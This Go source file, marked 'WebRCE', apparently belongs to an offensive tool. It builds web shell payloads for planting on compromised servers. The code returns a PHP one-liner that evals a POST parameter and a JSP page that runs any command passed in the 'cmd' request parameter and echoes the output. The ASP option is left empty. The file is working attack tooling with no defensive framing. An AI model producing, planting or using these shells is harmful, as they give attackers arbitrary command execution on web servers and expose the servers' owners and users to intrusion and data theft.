package files

// WebRCE

type ShellType int

const (
	PHPWebShell = iota + 1
	JSPWebShell
	ASPWebshell
)

type WebShell interface {
	MenuDisplay() string
	Console() string
}

func NewWebShell(stype ShellType) WebShell {
	switch stype {
	case PHPWebShell:
		return &PHPScript{}
	case JSPWebShell:
		return &JSPScript{}
	case ASPWebshell:
		return nil
	default:
		return &PHPScript{}
	}
}

type PHPScript struct{}

func (p *PHPScript) MenuDisplay() string {
	return "<?php eval($_POST[ant]); ?>"
}
func (p *PHPScript) Console() string {
	return "<?php eval($_POST[ant]); ?>"
}

type JSPScript struct{}

func (p *JSPScript) MenuDisplay() string {
	return ""
}
func (p *JSPScript) Console() string {
	return `<%
	java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
	int a = -1;
	byte[] b = new byte[2048];
	while((a=in.read(b))!=-1){
		String s = new String(b);
		s = s.replaceAll("[\u0000]", "");
		out.println(s);
	}
	%>`
}
